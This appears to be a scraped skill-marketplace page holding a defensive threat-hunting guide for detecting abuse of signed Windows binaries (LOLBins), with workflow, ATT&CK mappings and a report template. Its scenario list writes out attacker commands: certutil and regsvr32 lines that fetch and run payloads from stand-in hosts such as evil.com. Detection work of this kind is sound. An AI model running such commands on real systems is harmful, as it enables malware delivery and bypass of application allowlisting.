[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EKXDGG1Y19ZF3WJCWCSWJP":3,"skill-same:01M7EKXDGG1Y19ZF3WJCWCSWJP":88},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":52,"commitSha":53,"skillDirectory":54,"forksCount":55,"repositoryHtmlUrl":56,"repositoryHomepageUrl":6,"ownerHtmlUrl":57,"ownerBlogUrl":6,"ownerDescription":58,"updatedAt":59,"install":60,"resources":73},"01M7EKXDGG1Y19ZF3WJCWCSWJP","hunting-for-living-off-the-land-binaries",null,"Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls. Use when building LOLBins detection rules for EDR\u002FSIEM or when threat hunting for defense-evasion activity involving trusted system binaries.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunting-for-living-off-the-land-binaries\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: hunting-for-living-off-the-land-binaries\ndescription: Proactively hunts for adversary abuse of legitimate, signed system binaries\n  (LOLBins) used to execute malicious payloads, download files, or proxy execution\n  while evading application allowlisting and defense-evasion controls. Use when building\n  LOLBins detection rules for EDR\u002FSIEM or when threat hunting for defense-evasion\n  activity involving trusted system binaries.\ndomain: cybersecurity\nsubdomain: threat-hunting\ntags:\n- threat-hunting\n- mitre-attack\n- lolbins\n- edr\n- siem\n- proactive-detection\n- defense-evasion\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Executable Denylisting\n- Execution Isolation\n- File Metadata Consistency Validation\n- Application Protocol Command Analysis\n- Content Format Conversion\nnist_csf:\n- DE.CM-01\n- DE.AE-02\n- DE.AE-07\n- ID.RA-05\nmitre_attack:\n- T1046\n- T1057\n- T1082\n- T1083\n- T1027\n---\n\n# Hunting for Living-off-the-Land Binaries (LOLBins)\n\n## When to Use\n\n- When investigating fileless malware campaigns that bypass traditional AV\n- During proactive threat hunts targeting defense evasion techniques\n- When EDR alerts fire on legitimate binaries executing unusual child processes\n- After threat intelligence reports indicate LOLBin abuse in active campaigns\n- During red team\u002Fpurple team exercises validating detection coverage for T1218\n\n## Prerequisites\n\n- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)\n- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)\n- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list\n- PowerShell command-line logging enabled (Module Logging, Script Block Logging)\n- Network proxy or firewall logs for correlating outbound connections\n\n## Workflow\n\n1. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., \"Adversaries are using certutil.exe to download second-stage payloads from external domains\").\n2. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).\n3. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.\n4. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.\n5. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.\n6. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.\n7. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |\n| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |\n| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.002 | Control Panel (control.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 |\n| T1218.011 | Rundll32 |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| Proxy Execution | Using trusted binaries to execute untrusted code |\n| Fileless Attack | Attack that operates primarily in memory without dropping files |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CrowdStrike Falcon | EDR telemetry and process tree analysis |\n| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |\n| Splunk | SIEM log aggregation and SPL queries |\n| Elastic Security | Detection rules and timeline investigation |\n| Sysmon | Detailed process creation and network logging |\n| LOLBAS Project | Reference database of LOLBin capabilities |\n| Sigma Rules | Generic detection rule format for LOLBins |\n| Velociraptor | Endpoint forensic collection and hunting |\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe` to download malware, bypassing web proxies that allow certutil traffic.\n2. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.\n3. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.\n4. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fevil.com\u002Ffile.sct scrobj.dll` bypassing application whitelisting.\n5. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin \u002Ftransfer`.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHypothesis: [Stated hypothesis]\nLOLBins Investigated: [List of binaries]\nTime Range: [Start] - [End]\nData Sources: [EDR, Sysmon, SIEM]\nFindings:\n  - [Finding 1 with evidence]\n  - [Finding 2 with evidence]\nAnomalies Detected: [Count]\nTrue Positives: [Count]\nFalse Positives: [Count]\nIOCs Identified: [List]\nDetection Rules Created\u002FUpdated: [List]\nRecommendations: [Next steps]\n```\n","# Hunting for Living-off-the-Land Binaries (LOLBins)\n\n## When to Use\n\n- When investigating fileless malware campaigns that bypass traditional AV\n- During proactive threat hunts targeting defense evasion techniques\n- When EDR alerts fire on legitimate binaries executing unusual child processes\n- After threat intelligence reports indicate LOLBin abuse in active campaigns\n- During red team\u002Fpurple team exercises validating detection coverage for T1218\n\n## Prerequisites\n\n- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)\n- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)\n- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list\n- PowerShell command-line logging enabled (Module Logging, Script Block Logging)\n- Network proxy or firewall logs for correlating outbound connections\n\n## Workflow\n\n1. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., \"Adversaries are using certutil.exe to download second-stage payloads from external domains\").\n2. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).\n3. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.\n4. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.\n5. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.\n6. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.\n7. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |\n| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |\n| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.002 | Control Panel (control.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 |\n| T1218.011 | Rundll32 |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| Proxy Execution | Using trusted binaries to execute untrusted code |\n| Fileless Attack | Attack that operates primarily in memory without dropping files |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CrowdStrike Falcon | EDR telemetry and process tree analysis |\n| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |\n| Splunk | SIEM log aggregation and SPL queries |\n| Elastic Security | Detection rules and timeline investigation |\n| Sysmon | Detailed process creation and network logging |\n| LOLBAS Project | Reference database of LOLBin capabilities |\n| Sigma Rules | Generic detection rule format for LOLBins |\n| Velociraptor | Endpoint forensic collection and hunting |\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe` to download malware, bypassing web proxies that allow certutil traffic.\n2. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.\n3. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.\n4. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fevil.com\u002Ffile.sct scrobj.dll` bypassing application whitelisting.\n5. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin \u002Ftransfer`.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHypothesis: [Stated hypothesis]\nLOLBins Investigated: [List of binaries]\nTime Range: [Start] - [End]\nData Sources: [EDR, Sysmon, SIEM]\nFindings:\n  - [Finding 1 with evidence]\n  - [Finding 2 with evidence]\nAnomalies Detected: [Count]\nTrue Positives: [Count]\nFalse Positives: [Count]\nIOCs Identified: [List]\nDetection Rules Created\u002FUpdated: [List]\nRecommendations: [Next steps]\n```\n",{"name":5,"tags":24,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":25,"description":7,"mitre_attack":40,"d3fend_techniques":46},[25,26,27,28,29,30,31],"threat-hunting","mitre-attack","lolbins","edr","siem","proactive-detection","defense-evasion","mahipal","cybersecurity","1.0",[36,37,38,39],"DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05",[41,42,43,44,45],"T1046","T1057","T1082","T1083","T1027",[47,48,49,50,51],"Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Application Protocol Command Analysis","Content Format Conversion","main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fhunting-for-living-off-the-land-binaries",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":72},[62,65,68],{"tool":63,"command":64},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill hunting-for-living-off-the-land-binaries",{"tool":66,"command":67},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill hunting-for-living-off-the-land-binaries",{"tool":69,"command":70},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill hunting-for-living-off-the-land-binaries","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunting-for-living-off-the-land-binaries\u002FSKILL.md",true,[74,80,84],{"path":75,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":78,"sourceHtmlUrl":79},"references\u002Fapi-reference.md","REFERENCE","参考文档",1958,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunting-for-living-off-the-land-binaries\u002Freferences\u002Fapi-reference.md",{"path":81,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Fstandards.md",3135,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunting-for-living-off-the-land-binaries\u002Freferences\u002Fstandards.md",{"path":85,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":86,"sourceHtmlUrl":87},"references\u002Fworkflows.md",4551,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunting-for-living-off-the-land-binaries\u002Freferences\u002Fworkflows.md",[89,98,103,110,117,124],{"skillNo":90,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":97},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":99,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":97},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":104,"name":105,"nameZh":6,"description":106,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":97},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":97},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":97},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":128,"categories":129,"keywords":130,"publishedAt":97},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]